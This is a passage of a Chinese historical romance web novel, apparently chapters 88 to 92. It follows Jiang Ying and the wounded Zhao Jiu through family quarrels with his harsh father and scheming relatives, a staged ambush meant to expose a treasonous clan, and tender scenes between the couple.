正当不少人暗中惋惜看不成热闹时,又听说赵咎去接父亲的路上出了事。
王氏乍闻消息,哪怕赵咨提前说过只是做戏,心脏也还是不受控制地漏了一拍。
“夫人……”姜璎扶着她,不知道是安慰王氏还是安慰自己,“赵九郎君,应该只是受了点小伤,没事的。”她手心一片冰凉,又重复了一遍,“肯定没事的。”
“阿池。”
“夫人,老夫人过来了!”丫鬟急匆匆进来禀报,打断了王氏原本要说的话。
赵老夫人在孙女的搀扶下赶过来,看见姜璎也在,开口就是呵斥,痛心疾首道:“你还留这灾星在身边!你看看她都把九郎害成什么样子了?!”
朱季灵神色仓皇,想到赵咎性命垂危的消息就忍不住流泪。
大母还等着卫国公回来做主,让赵咎娶她呢。
要是赵咎出了事,她岂不是得守寡?
不不不,大母肯定会为她另外寻一门亲事的。但盛京之中,又有哪个郎君的家世相貌能及得上赵咎?
想到这,朱季灵不免怨上姜璎。
张琼华生怕王氏被蒙在鼓里,连忙道:“夫人!姜璎就是个灾星啊,永安侯府因为她支离破碎,伤的伤、病的病,甚至连九郎君也跟着受到牵连!您可万不能将她留在身边了!”
赵老夫人还不知道赵咎伤势如何,她看姜璎不顺眼很久了,正好借题发挥,把人赶出府去!
也算是为外孙女出口恶气!
一个来路不正的孤女,也敢在她面前放肆,赵咎还为了姜璎忤逆她,不孝的东西,就算**也是活该!
“来人,把这个灾星给我捆了扔出府去,再不许踏进卫国公府半步!”
赵老夫人目光落在姜璎腰间的桃花玉,眼中闪过一抹贪婪,恶狠狠道:“身上穿的戴的,也给我统统剥下来!休想带走赵家一分一毫!”
姜璎不欲同她们争辩,要扶王氏进去休息。
然而,不知道是不是赵咎出事的消息给了赵老夫人底气,她身边的下人竟然真的朝姜璎走来。
“我还谁敢!”辛夷厉声道,王氏院里下人冲了进来。
王氏深吸一口气,拍了拍姜璎的手背,示意她不要害怕,“姑母,我先前就说了,阿池是梁女君的嫡亲外甥女,她的吃穿用度都是梁女君一手操办,不走公中的账。”
赵老夫人冷哼一声,还想骗她?
“王氏,你当我好糊弄的不成?就陆家那个下不出蛋的妒妇,她哪来的本事拿得出这些好东西?”
这话一出来,王氏就知道要遭!
以姜璎的性子,无论赵老夫人怎么骂她,她都不会放在心上,但要是牵扯到她在意的人身上,那就算是哑巴也要炸毛!
果不其然。
她生气了,“你一个长辈,怎么能满口污言秽语,还是当着孙女的面,一点羞耻心都没有吗?”
要是梁女君在这,看到姜璎如此维护自己,心中必定欢喜不已。
赵老夫人没想到姜璎一个丫头片子敢这么跟自己说话,身边的张琼华立马指责道:“姜璎,你身为晚辈,这里岂有你说话的份?”
“你一个姓张的都敢在卫国公府嚣张跋扈,我们赵家未过门的儿媳妇连说句话的资格都没有了?这可真是有意思!”
郑氏到来,一声令下直接让人把赵老夫人身边的下人捆了起来。
赵老夫人又惊又怒,“郑氏,你敢!”
郑氏看也不看她,目光如炬,一一扫过那些下人,冷冷道:“世子夫人院里,也敢放肆,我看你们一个个是活得不耐烦了!”
一阵威慑,吓得赵老夫人身边的下人连忙扑通一声跪地磕头。
姜璎胸口微微起伏,死死盯着赵老夫人,郑氏拉了一下她的手臂,吩咐道:“还不把老夫人送回去。”
赵老夫人不肯走,“王氏,郑氏,你们一个个……”
“国公爷回来了!”
仆婢的禀报声打断了赵老夫人的怒火,“夫人
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,世子请您过去一趟。”
“九郎君怎么样了?”
问这话的人不是王氏,也不是姜璎,而是朱季灵。
她拉着传话丫鬟的手臂,急急忙忙问道:“问你话呢!九郎君怎么样了?伤得重不重?他现在人在哪儿了?”
“这个奴婢也不清楚……”
“要你有什么用!”朱季灵气道。
郑氏不耐道:“朱家丫头,要耍威风回你朱家去!”
说完暗中给了姜璎一个眼神,让她赶快去蓼莪院看看。
下人禀报不曾提及赵咎,要么是暗藏玄机,要么情况不容乐观。
生怕是后者,姜璎顾不得其他,带了人就往蓼莪院赶。
蓼莪院此刻仆婢进进出出,还有不少太医署的医官,姜璎看见刑如风也在其中,心里咯噔一声。
“姑娘怎么来了?”归南看见姜璎,领她从另一边走,边走边解释道,“国公爷眼下就在九郎房中,还得委屈姑娘先在偏房等待片刻。”
卫国公也在?
姜璎愣了一下,立马打退堂鼓,“那我,那我还是一会儿再过来吧。”
“姑娘……”
归南来不及阻拦,只能眼睁睁看着姜璎离开。
好在半路折返的时候遇上王氏郑氏过来看望,郑氏二话不说拉上姜璎。
“你跑什么?”
“我……”
姜璎怂得很,她总觉得以她的身份,不适合现在出现卫国公面前。
郑氏恨铁不成钢,故意把话说严重,“阿劫现在生死不知,若是醒来,一定希望你在身边。”
王氏无奈道:“阿郑。”
姜璎还真信了。
一行人到蓼莪院。
就听见里头传来噼里啪啦东西摔碎的声音。
医官们退了出来,刑如风也在其中,灰头土脸的,看见姜璎她们,低声道:“父子俩吵架呢,你们还是别进去了。”
吵架?
姜姜璎倒吸一口气,王氏和郑氏倒是见惯不惯了。
郑氏抱怨道:“阿劫还受着伤呢,父亲也真是的,有什么话不能好好说?”
第88章 苛刻
事实证明,卫国公和幼子之间心平气和说不了三句话。
王氏等人经通传后走进里屋,就看见满地的茶盏碎片。
“你现在主意大了,翅膀也硬了,我是管不了你了!”卫国公冷硬的声音响起,隐含怒气。
赵咎躺在榻上,身后垫着隐囊,语气不无讥诮。
“父亲什么时候管过我?”
只这一句,就让卫国公怒火达到临界点,甚至不顾下人的通传,怒声喝道:“你要找死,就该当初胎死腹中!白白糟蹋你母亲的性——!”
“父亲!”
王氏和郑氏齐声道,二话不说直接跪了下来。
姜璎没想到一进来就听到这样诛心之言,一时间瞠目结舌、无所适从,只能在心里暗暗庆幸仆婢和太医都已经清退干净,否则这让赵咎的脸往哪儿搁?
都说长孙幼子心头肉,但卫国公却对幼子出了名的严厉苛刻。
王氏身为长媳,自嫁进门便帮助婆母操持内宅,后面婆母病逝,她更是把小叔子当作自己的儿子一样疼爱。
卫国公这话不仅伤了赵咎,也伤害了她。。
“父亲,阿劫是大家辛辛苦苦生下的骨肉,是世子二郎他们几个一母同胞的弟弟,平日里最是孝顺懂事不过,不论是何原因,引父亲如此动怒,且看在他受伤的份上,宽恕他这一回吧。”
王氏哽咽道:“儿媳亦有管教不严之过,父亲若是要罚,便罚世子根儿媳两人吧。”
大家、阿家,是时下对婆母的尊称。
隔着一面屏风,郑氏只隐约看见赵咎身着单衣,胸口隐隐渗出血迹,她同样哭道:“父亲息怒!都是二郎和儿媳平日里太宽纵阿劫!”
卫国公被两人哭得面色铁青,下不来台。
他对儿子苛刻,但对几个儿媳还是十分宽容的,毕竟相处不多,也不曾犯过错。
王氏又是家族冢妇,卫国公这点面子还是要给长媳的。
姜璎跟着跪在王氏身后,就听见卫国公压着火气道:“你们问问这孽障到底做了什么?他自己要找死,干脆就除族离去!省的牵连赵家!”
除族?!
如雷击顶,王氏脸上血色全无,这可比父子断绝关系还要狠!
好在赵咨和赵哲兄弟二人及时赶到。
“父亲!”赵咨走到里头,皱眉看了赵咎一眼,赵哲偷摸指了指弟弟,不是说好的做戏?他都怀疑赵咎的伤是老头子捅出来的。
赵咎毫无血色的俊脸冷淡无比。
隔了一面屏风,他还不知道姜璎也来了。
“父亲息怒,都是儿子管教不力,莫要为了此事伤及身体,得不偿失。”赵咨恭敬道。
子不言父过,更何况本朝崇尚孝道,就是父亲活活打死儿子,也不会有人说什么。
赵哲笑了一下,好声好气道:“父亲,太后娘娘一向最疼爱阿劫,回头要是知道,说不定还要凤驾亲至……”
想到从小当作掌上明珠的长女,卫国公的面色稍稍缓和,他也怕女儿到时候生气,最后扔下一句:“都是你们惯得他!”
便甩袖离去。
郑氏和姜璎连忙搀扶王氏起身,赵咨训斥弟弟,“你这是闹的哪一出?伤得这么严重,还又惹了父亲不痛快。”
赵咎隐隐不耐,“世子专挑软的捏?问我做什么,问国公爷去!”
“你这小子怎么说话呢。”赵哲戳了戳弟弟额头,“弟媳就搁屏风后头听着,你倒狂得没边儿了。”
还国公爷。
父子俩跟有不共戴天之仇似的。
卫国公就算有再多不是,那也是父亲,哪有儿子顶撞父亲的道理?
这要传出去,他还要不要做官了?
一听姜璎也在,赵咎脸色顿变,“谁叫她来的?”
赵咨冷笑道:“现在知道丢脸了?”
赵哲到底心疼弟弟,摁住他肩膀道,“别乱动。出了这么大的事儿,她能不记挂你?你先歇着,等晚点我再来看你。”
赵咨还想问问究竟发生了什么,奈何赵咎臭德行,不想说的时候连半个字都不会吐露,他也只好先带着妻子离去。
人走得差不多。
但赵咎没有听见其他动静,他不由着急起来。
“
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阿池?”
难道阿池也跟着走了?
赵咎想也没想一把掀开被衾,就要起身下榻。
一个人影从屏风后头转出,急急拦住他的动作,“别动!”
才缝好的伤口立马有了绷裂的迹象,血色渗透单衣,如红梅映雪,凄艳动人。
“我去请邢医官!”姜璎竭力克制着手抖,转身要走。
“别走!”赵咎紧紧拉着她的手,“伤口流血是正常的,不要紧。”
只要不是生锈的刀剑,消毒完缝合,基本上不会有太大问题。
趁着姜璎倾身掖被,他将她带到身边坐下。
“真的不用上药吗?”姜璎问,声音隐隐颤抖,她还是第一次见这么严重的伤势。
几乎半个胸口到手臂都包缠起来。
“不用。”赵咎安抚地亲了亲她的唇瓣,“不要哭,做戏呢,其实伤得不厉害,刑如风学过缝合,缝起来就一点儿都不疼了。”
姜璎努力把眼泪憋回去,想要和赵咎保持距离,免得触碰到伤口。
但赵咎不答应。
“阿池。”他想了想,改口道,“还是有点疼的。”
“那……”
“所以你要多陪陪我。”他一本正经。
“……”
她看着有这么好忽悠吗?
姜璎扪心自问。
但最终还是抵挡不住赵咎的美貌攻势,他只用一双杏眼,就能轻而易举让人心软。
赵咎把下巴垫在姜璎肩上,苍白无力的神色,眉眼间流露出一丝脆弱。
“是不是吓到你了?”他笑了一下,低声道,“不用去在意父亲说的话,家里都没人搭理他。”
“他说的不对。”姜璎憋了半天,闷声道。
“嗯。”心窝塌陷一块,他没忍住亲了亲姜璎的莹润脸颊,“我有你呢,管他说什么。”
猝不及防的情话令姜璎闹了个大红脸。
然而,赵咎接下来的话则让她浑身紧绷,满是不可置信。
“常家有通敌**的嫌疑,只是没有证据。陛下命我暗中调查,这次便是他们私下动手,欲除之而后快。”
第89章 头痛
“什么?”
姜璎惊得起身,差点把赵咎带摔。
两人本来就离得近,赵咎又半个身子都靠在她身上,这一下倒好,直接扯到了伤口。
那句“**亲夫”还没脱口而出,就听见姜璎问:“所以,你知道常家会派人在路上埋伏,还亲自涉险,是吗?”
赵咎听这语气就感觉不对,立马道:“当时只是猜测,不能完全确定。”
姜璎:“那也是以身涉险。”
赵咎:“……”
不出意外的话,就要出意外了。
到底是哪个倒霉蛋,还没开始装可怜,就被抓住了把柄。
啊,原来是他。
姜璎认真道:“你还记不记得,当时宴会回来,你可生气了?”
倒霉蛋安静三秒,“我受伤了,不记得了。”说着扶额呻·吟,“啊,头好痛,要长脑子了。”
“耍无赖是没用的。”姜璎一脸严肃。
“头好痛。”他语气虚弱。
“赵咎,我们讲道理好不好?”
“头好痛。”他可怜巴巴。
“……”
真的很痛吗?
姜璎犹豫了一下,“那你下次不要这样了啊。”
赵咎:“嗯嗯。”
快翻篇吧。
他比较脆弱,禁不起查旧账。
姜璎重新坐下,赵咎立马靠过来,小声抱怨道:“我都受伤了,你还要翻旧帐,你心里没有我。”
“有的。”
姜璎看着他身上的伤,眼眶微微泛红,“他们说你受伤的时候,我脑子空了一下……好像明白了你之前为什么会那么生气。”
“我保证以后绝对不会以身涉险!”赵咎这回语速极快,生怕她掉眼泪,哄道,“都是我不好,吓坏你了,阿池,你要不打我吧,打我出出气。”
姜璎摇了摇头,比起打赵咎,她更关心后面的事儿。
“你伤得这么严重,有没有抓住埋伏的人?他们招供了吗?”
“抓了两个,但都咬舌自尽了。”赵咎嘴角浮现一抹嘲讽,“常山做事,自然不会留下任何把柄。”
常山便是常无忌的父亲。
再说了,这趟也不是完全没有收获。
至少让赵咎确定,他手里头的东西有多重要。
重要到,常山甘愿冒着暴露的风险,也要将人除之而后快。
“可是没有人证物证,不是白白受伤吗?”
“不会白受伤。”
赵咎微微凑近,温热的呼吸尽数洒在姜璎耳垂,令她有些许不自然,差点没听清他说的话。
“……这样也可以吗?”
“当着那么多人的面,我亲自从刺客身上翻出常六的贴身玉佩,你说,别人会怎么想?”
不管白的黑的,常六这口锅是背定了。
“父债子偿?”
“怎么样?”
姜璎语气肯定,“那很棒了。”
赵咎闷笑一声。
郑氏老说,不管碰到什么事,姜璎都是无条件向着他,还真是一点儿也没错。
姜璎好奇道:“既然是引蛇出洞,又达成了目的,国公大人为何还如此生气?是不是觉得你以身涉险……”
“他和你不一样。”赵咎打断道。
卫国公压根不信赵咎说的一切,不管是有人想害卫国公府,还是常家通敌**。
哪怕赵咎此行受伤,他也觉得是儿子先得罪了人,才会遭到报复。
明明赵咎从小到大样样不差,可在卫国公那,总能挑出不少毛病。
赵咎幼时吃牛乳胀气,王氏就让人从庄子上弄来几头奶羊,区区小事,到了卫国公嘴里就成了骄奢淫逸,挑嘴难伺候!
从那以后,赵咎再也没碰过一次羊乳羹。
还有前几年挖的水池子,卫国公下朝回来听说,问都不问就把赵咎痛骂一顿,说他没事做闲得慌,郑氏解释是为孩子们玩水儿挖的,卫国公又皱眉斥责赵咎带坏侄子。
诸如此类小事,数不胜数。
刑如风为此不止一次抱怨,“人是他睡的,孩子也是他要的,生完发现卫国公夫人身体变差,就开始后悔,早干嘛去了?”
赵咎当时直接一口水喷出来。
对面的明惠帝抹了一把脸,无语道:“虽然话糙理不糙,但你这也太糙了。”
刑如风边庆幸自己没坐赵咎对面,边手上动作不停,给他后背的鞭伤上药。
看着面前肌肉匀称的
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紧实腰身,刑如风嫉妒得差点流口水,“九啊,我要是女的我肯定嫁给你。”
明惠帝被喷了一脸水还没想吐,听到这话,一阵恶寒,差点呕了。
赵咎没呕,还主动道:“可以,你嫁进来,老头子要是动手,你记得挡我面前,替我挨打。”
刑如风破口大骂:“滚啊!我要是女的,嫁狗都不嫁你!”
想到往事,赵咎扯了一下嘴角。
得亏他在老头子回来之前就求来了赐婚的诏书。
不过,以防万一,还是得让姜璎都跟着王氏。
“大嫂要是带着你去给父亲请安,你什么都不用说,也不用怕,他要生气就生气。”气**活该,“就当他是空气。”
姜璎有些担心。
她怕卫国公因为不喜欢她,迁怒赵咎。
“需要我做点什么吗?”她虚心讨教,“国公大人有什么喜好,或者忌讳……”
“不需要。”赵咎道,“你什么都不用做,只要好好吃饭,好好睡觉,好好陪我,其他事儿不用操心。”
好像混进去了什么东西。
姜璎未曾察觉,一一答应。
等到了傍晚时分,她陪王氏用过晚膳,就又回到蓼莪院。
这回刑如风也在。
他给赵咎换了药,碎碎叨叨:“陛下和太后娘娘听说你受伤,吓都吓坏了,不是我说,做戏搭上半条命,你还想不想成亲了?”
换下来的伤布扔在铜盆,立刻变成一盆血水。
仆婢端了出去。
等到屋里没人,赵咎问:“陛下怎么说?”
刑如风道:“还能怎么说,没有确凿证据,总不好直接把人下狱。你又不是不知道,上回你把常六打个半死,皇后娘娘就已经为这事儿同陛下置气……”
赵咎嗤了一声,“都说了,强扭的瓜不甜。”
顿了一下,又补充道:“我不一样。我和阿池是两情相悦。”
刑如风:“……?”不是,谁问你了?
仆婢在外头禀报:“九郎,姑娘来了。”
两人顿时齐齐闭嘴。
赵咎催促道:“动作快点,别让阿池看见。”
说着,外头忽然传来一阵嘈杂声音。
第90章 抽风
“我们奉老夫人的命令,特意前来看望九郎君,还不快快让开!”
张琼华对着仆婢颐指气使,余光瞥到旁边的姜璎,颇有种扬眉吐气的感觉,腰杆都挺直了几分。
“某些人别以为巴结上世子夫人便能高枕无忧,这个家,终究还是国公爷说了算的!”
“要是被国公爷知道,老夫人这些日子以来受了多少委屈,他一定不会放过从中做梗的搅事精!”
朱季灵微微皱眉,“表姐,何必多说废话?还是看望九郎君要紧。”
赵老夫人向卫国公身边的下人打听过了,赵咎虽然伤得严重,但并未危及性命。
朱季灵的心算是彻底踏实了。
至于姜璎?
大母说了,区区一个以色侍人的姬妾,还不值得被她放在眼里。
等她日后嫁给赵咎,想什么时候发卖姜璎都可以。
朱季灵对祖母的话深信不疑,祖母说能让她顺利嫁到卫国公府,那就一定可以。
就算赵咎现在为姜璎所迷,但总有一日,他会知道门当户对,比什么美色都要来得重要。
“你说的是。”张琼华附和道。
本以为搬出赵老夫人,这些仆婢便会恭敬退下。
谁知道,她们不仅不让,反而还伸出手阻拦。
“此处蓼莪院,还请二位姑娘止步。”
张琼华被挡住去路,不禁恼怒道:“你是什么东西,也配在这跟我们拉拉扯扯!”
这对表姐妹自认为卫国公回来,她们就有了靠山倚仗。
呵斥起蓼莪院的仆婢可谓是毫不留情。
仆婢微微垂眸,“奴婢岂敢冒犯二位姑娘,只是九郎伤重,且需静养,不见外人。”
看似恭敬,实则压根没把她们放在眼里。
别说张琼华,就是朱季灵都教这态度无端生出几分火气。
“我们是外人?”
仆婢但笑不语。
不是外人,难道还是内人不成?
他们九郎名正言顺的未婚妻都没她们这么不要脸!亏得还士族出身呢!
仆婢对张琼华二人温和而不失强硬,但对姜璎,又是另外一种态度。
“姑娘,这边请。”她恭敬道。
心中暗自庆幸,得亏姑娘来了,否则他们这些下人还不得被张琼华姐妹俩牵连?有姑娘在,九郎就算要罚她们办事不力,也会从轻处置。
“她、她凭什么能进去?!”
张琼华瞪大双眼,伸出手要抓姜璎,不许她走,结果被香薷等人拦了个彻底。
连姜璎半片衣角都没碰到。
朱季灵面色一阵青一阵白,忍不住道:“我父亲乃是九郎君的外兄!我们是外人?那她呢?”
仆婢诧异道:“姜姑娘可是九郎亲自求来赐婚的未婚妻,蓼莪院未来的女主人。”
“你……”
“季灵!我们去找国公爷!”
张琼华气不过,她们好心来看望赵咎,没想到竟然连院门都进不去。
真是欺人太甚!
姜璎走到屋里,赵咎刚好换完药,“是不是吵到你休息了?”
她也有些好奇,王氏明明才吩咐下去,让人好生看管着客院。
张琼华她们是怎么出来的?
刑如风撇了撇嘴,还能怎么出来?
都不消想,肯定是赵老夫人到了卫国公跟前哭诉,自己这些日子受到多少委屈。
虽说兄妹二人有些龃龉,可到底不是什么深仇大恨,又许多年不见,卫国公多多少少还是会给赵老夫人一点面子。
当然,要让他为赵老夫人而训斥王氏这个长媳,那是不可能的。
真要撒气,也是撒赵咎头上。
刑如风几乎都能猜到接下来会发生什么。
左右要去给王氏诊脉,这通风报信也是顺嘴的事儿。
娘不在爹不爱。
就由他来拯救可怜的小白菜!
姜璎见刑如风雄赳赳气昂昂地往外走,有点摸不着头脑,“邢医官怎么了?”
赵咎道:“抽风了吧。”
姜璎没忍住弯了弯眸,就当是他们好友之间增进感情的一种方式吧。
她把食盒打开,都是些清淡温补的食物。
好久没有下厨,也不知道手艺退步没有。
“你做的?”赵咎喝了一口汤,顿时望过来,虽是询问,但语气十分肯定。
姜璎
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惊了一下,这也能尝出来吗?
赵咎没说自己不爱碰豆腐一类的食物,就好比这碗鲫鱼汤,如果是家里庖厨做的,他们是不会放豆腐的。
但嘴上却是毫不犹豫夸:“清淡鲜美,家里庖厨的手艺没这么好。”
姜璎做的,别说一点豆腐,就是下了**,他都能闭着眼睛写出一篇绝无仅有的佳肴文章!
姜璎看着他把食物吃得一点不剩,心中生出了一种难以言说的满足。
刘氏他们很少会夸她的手艺,做的好是应该的,要是做的不好,那就得反思一下是不是没有用心的原因。
姜璎前面十年,都在不停地反思自己。
直到来了卫国公府,才慢慢养出一点自信。
她想到张琼华和朱季灵,她们要是和卫国公告状,卫国公说不定又要责骂赵咎。
这样偏颇的生活,赵咎过了十多年。
“赵九郎君。”姜璎起身,寻了个自认为不会出错的理由,“我想起来有东西落在世子夫人那,你等我一会儿,我去去就回。”
她得赶在卫国公到来之前,去搬救兵。
最好能在不惊动赵咎的前提下拦住他们。
“一定要去吗?”赵咎问,其实心知肚明,因为姜璎根本不是一个会撒谎的人。
他想说没必要。
真的没必要。
他早就习惯了老头子的偏颇和蛮不讲理。
争论什么的,都是无用功。
他不会放在心上,就当左耳进右耳出,再说苛责也不会让他身上掉块肉。
“我去去就回,真的。”她认真道,似乎明白了刑如风方才那激昂的使命感从何而来。
刑如风肯定是去找王氏。
那她就去找郑氏。
实在不行,她也可以去求一求姨母,请长辈出面,同卫国公商量。
赵咎不愿意姜璎受一点委屈。
好巧。
姜璎也是。
在她心里,赵九郎君就是很好很好的人呀。
没有等来任何反应,她就当赵咎默认了,赶忙往郑氏的院子而去。
赵咎看着她的背影,好半天才道:
“又一个抽风的。”
第91章 史传
临近年中,家里的庄子田地、铺面房产等开支收益,都会经由管事整理成册,送来主母查阅。
今年王氏身体不好,禁不起过多操劳,这些差事自然落到郑氏头上。加上她自己名下嫁妆的产业也有收拾,这一摞摞的账册,少说得忙好几日。
姜璎进屋看见郑氏手旁摆了一堆算筹,她翻着账册,招呼道:“阿池来了,快坐。”
见郑氏这样忙,姜璎反倒不好意思开口了。
“我……”
“是不是阿劫有什么事?”郑氏问道。
以姜璎的性子,自己受点委屈没什么,但要是牵扯到王氏和赵咎,那是怎么都忍不下去的。
郑氏一猜即中,姜璎也不再吞吞吐吐。
听到她说张琼华姐妹俩奉赵老夫人的命来看望赵咎,郑氏当场冷笑一声,这老的五毒俱全,小的也不是什么安分的东西。
“阿池,你且放心回去,这事儿交给我。”她道。
姜璎点了点头。
正巧赵哲从外头回来,听说这事儿,忍不住乐了一下。
“阿劫今年别是犯桃花煞了吧?”
说完遭郑氏瞪了一眼,“你去不去?不去别在这说风凉话!”
“去去去。”赵哲忙缴械投降,“有夫人发话,便是刀山火海我也跟随。”
屋里仆婢低头偷笑,郑氏忍不住脸一红,啐他一口,都是当爹的人了,还这么不正经!
这边儿大房和二房不约而同动身出发,另一边,姜璎出了院子,原想折返回蓼莪院,孰料香附急急忙忙过来。
“姑娘,不好了!”
“慌里慌张做什么?”香薷暗暗瞪她一眼,姑娘宽厚,她便愈发松懈起来,让人看见还以为她们没规矩呢。
小荷的身契和奴籍拿回来后,郑氏觉得她虽忠心老实,但到底没有正儿八经学过礼仪,又眼界浅薄,干脆让人带她下去,先教上一段时日,什么时候像样了再回姜璎身边伺候。
故而这段时日不见她。
香薷暗恼香附蠢笨,她们不像小荷同姑娘有深厚情分,要想入眼,自然得在姑娘面前好好表现,香附如此莽撞,什么时候遭了厌弃都不知道!
香附吞了吞口水,也不知是热的还是急的,额前冒了好些汗。
“什么要紧事?慢慢说,别急。”姜璎安抚道。
香附顺了气儿,才道:“奴婢去前院打听了,因着张姑娘和朱姑娘受了委屈的缘故,国公爷很是生气。”
卫国公倒不是把妹妹娘家的孩子看得有多重,只原本就在气头上,赵咎又撞了上来,哪里管得了三七二十一?
要不是赵咎身受重伤,都恨不得打上一顿才好!
姜璎没想到卫国公会不讲理到这种地步,甚至不问缘由,就直接判定赵咎有错。
“国公爷原本还准备让九郎给人赔不是,好在被世子他们给拦下了。”
正院那边儿动静很大,两个未婚女郎哭哭啼啼,一会儿说蓼莪院的下人没规矩,一会儿又说赵咎瞧不上她们。
赵老夫人自然不依不饶,张口就是怒骂姜璎不安分,赵咎都受伤了,她还使劲儿勾搭,存心就是不想让赵咎好好养伤!
香附说了一路,眼看着快到蓼莪院,才想起什么,连忙把另外一件要紧事说了。
“姑娘,奴婢还听说老夫人请了永安侯夫人明日过来做客。”
姜璎脚步一顿。
张家同永安侯府定了亲,赵老夫人请刘氏过来商议小辈的亲事,按理来说无可厚非。
但……
姜璎有种预感,刘氏登门,不止是为姜承祁的亲事,估计还是冲着她来的。
香附小声道:“姑娘,要不咱们也请夫人给梁女君下个帖子,让她来府上坐坐?”
那天在永安侯府,梁女君对刘氏的掌掴可以说是大快人心,把香薷香附等人都看呆了,心中直呼痛快!
姑娘有这样的姨母,还怕什么?
说不定梁女君来了,看在陆氏和王氏的面子上,赵老夫人还会顾忌一二呢。
上台阶了,香薷自觉闭嘴。
姜璎也暂且把其他事儿搁一边儿,仆婢打帘子迎她进去,笑道:“姑娘可算回来了,九郎都问好几回了。”
屋里头,赵咎躺在
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榻上,身后靠着隐囊,手里头有一搭没一搭地翻着前梁史传。
步履无声,但行动间总归会有细微摩擦声响。
赵咎抬眸,微微一笑,“回来了?”
“嗯。”
姜璎捏了捏出汗的手心,先前撒谎时还没紧张,这会儿回来了,反倒生出一股子心虚来。
“东西找到了吗?”赵咎问。
难得的和颜悦色,却让姜璎起了一身鸡皮疙瘩。
这比平时冷着脸还要吓人。
“找到了……”她干巴巴道,总觉得被看穿了一切。
生怕赵咎接下去问是什么重要的东西,姜璎忙岔开话题,“赵九郎君,你在看史书吗?”她瞥了一眼,只瞧见“文帝辨查仁爱,美容仪”几个字。
“过来。”赵咎招了招手,浑然不在意伤势的行为让姜璎蹙紧眉头,没忍住道:
“邢医官说了,得少动,能不抬胳膊就不抬胳膊,免得扯到伤口,到时候又流血了。”
赵咎眨了下眼,“那我翻书怎么办?”
姜璎想了想道:“我可以念给你听。”
时下的高门贵女,多是以写字作画、抚琴点茶为日常,鲜少有女郎愿意读史,看不懂是一回事,看了没用又是另外一回事。
姜璎自己倒是什么书都爱看,只是永安侯府藏书不多,有个几十本顶天了,书房又是重地,自然不是她能进去的。
到了卫国公府,王氏和郑氏时常教导她管家算账,反倒是赵咎,隔三差五拿书给姜璎,郑氏不止一次戏谑,他这是要培养出个才女来。
姜璎轻声细语念着史传上的每一个字,遇到不懂的地方,稍有停顿,赵咎便会为她解惑。
“怎么了?”
姜璎好奇前梁皇室为何覆灭,是因为没有太子的缘故吗?
毕竟大多数人都知道,太祖皇帝是通过篡位得来的江山。
但这话没人敢说,姜璎更不敢提起,毕竟赵太后当年的太子妃之位还是太祖皇帝亲自定下的。
“没什么。”她摇了摇头,“就是好奇,能让史官用上‘美容仪’的,该是何等风姿。”
第92章 矜持
又念了一段书,眼看着时辰差不多,姜璎才放下史传,抬头刚好和赵咎四目相对。
“准备回去了?”他先开口。
不知道是不是因为受伤的缘故,苍白如玉的面庞在烛影的映照下,流露出一股易碎的昳丽之色。
怎么会有人受了伤还比平日更好看?
姜璎脑海不合时宜地冒出这么一个念头,心跳有一瞬加快。
“明天还会过来吗?”赵咎又问。
“过来的。”姜璎回答的很快,心头小鹿一个劲地蹦哒,她没有直接离开,而是走到了床榻前。
一个站着,一个躺着。
身体的阴影覆盖下来。
姜璎性情柔和,哪怕如此居高临下的姿态,也没有给人任何压迫感。
她歪了歪脑袋,道:“要亲吗?”
赵咎呼吸乱了一瞬,似乎没想到她会说出这种话。
他表现得很明显吗?
没有吧。
俗话说君子发乎情止于礼,他都受了伤,要是还心心念念惦记这种事儿,岂不是显得十分不正经?
“不亲的话,我就回去了啊。”姜璎以为赵咎刚才的眼神是要亲的意思。
上次这样,上上次也是这样。
看似内敛,实则都快把人拆骨剥皮、吞入腹中。
还喜欢箍着人,就怕她跑了似的。
好凶。
姜璎一时庆幸赵咎没想那回事,给他掖了掖被衾,准备离开。
结果才走了一步,就又被拉了回来,差点跌坐榻上。
“走什么?”他不满道,“我还没回答呢。”
姜璎生怕碰到他的伤口,哎呀一声,“你不回答,我还以为是我误会了……”
赵咎:“没有误会。”
“可你方才没有说话呀。”姜璎眨了下眼。
赵咎颇有些恼羞成怒的意味,“你要亲我,难道还不能让我矜持一会儿吗?”
姜璎:“……”
她觉得冤枉,“我没有要亲你,我只是问你,要不要亲。”
赵咎言之凿凿,“你问了就说明你也想!”
姜璎神情恍惚:“……”
说得好有道理。
不对!差点被他绕进去了!
“我没……”才一开口,剩下的话就被堵在嘴里。
唇瓣触碰的那一刹那,似有细微电流游走全身,酥酥麻麻的感觉直击灵魂。
姜璎身体一软,闷哼声消弭唇齿。
赵咎一手托着她的腰肢,迫她不得不贴近自己,而后轻而易举撬开门户,闯入其中。
“阿池,你好歹给我点面子啊。”他低低地抱怨,细细密密的吻缱绻而细致,落在眉心、鼻尖,再入唇瓣更深处,把里里外外都吃了个遍。
黏腻的水声经由刺激不断放大,几乎同心跳声一起,震耳欲聋。
“我……”她强撑着最后一丝理智,想要提醒他不要碰到伤口。
但赵咎正在兴头上,哪里听得进去一点儿?他对姜璎非要分出个对错的行为耿耿于怀,一边儿亲她,一边儿控诉,“我都受伤了,你多让让我怎么了?”
姜璎百口莫辩。
问就是后悔,早知道就不多那一嘴了。
谁让他眼巴巴看着,给人一种很想要的感觉。
怪可怜的。
现在好了,多嘴的下场就是自己的嘴遭殃。
姜璎眼眸被吻湿了,红润润的唇瓣覆着潋滟水光,好半天没缓过来。
“伤口……”
“好着呢。”他碰了碰她的鼻尖,动作自然而亲昵,像是撒娇般,“宝宝,对我好一点吧。”
姜璎差点被迷成一个傻子。
这撒娇,谁能抵挡得了啊?
反正她不行。
这一冲动,什么都答应了。
直到走出蓼莪院,夜风一吹,脑子才慢慢清醒,想到方才嗯嗯嗯各种无脑答应,姜璎忍不住捂脸。
不行!
下回不能再这样了!
世子夫人说了,做人要有自己的底线。
“多读书,少沉迷美色,多读书,少沉迷美色……”姜璎喃喃自语。
因为声音过轻,香薷香附只听见“读书”两个字,心中不由感慨,姑娘真是太用功了!
九郎也真是的,这么好的单独相处的机会,不好好培养感情,就知道教姑娘读书。
姜璎沐浴更衣之后,很快熄灯睡下。<
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br>本以为会翻来覆去,没想到很快进入梦乡,还久违地做了个梦。
“阿石,你看。”
模糊不清的画面,美人怜爱地亲了亲怀里的女儿,指着仆婢手中的一副画,温柔道:“这是大父,这是大母。”
“啊父!”女童口齿不清地重复,咿咿呀呀地拍着掌,将大家逗得哈哈大笑。
“阿姊,我就说我们阿石聪明着呢!”自豪的声音从一旁传来,是正值妙龄的梁女君。
铺了厚厚一层羊毛毯的地上还爬着一个孩子,宛如宝石一般的猫猫眼黏着美人怀里的女童。
“姐……”想跟姐姐一起玩。
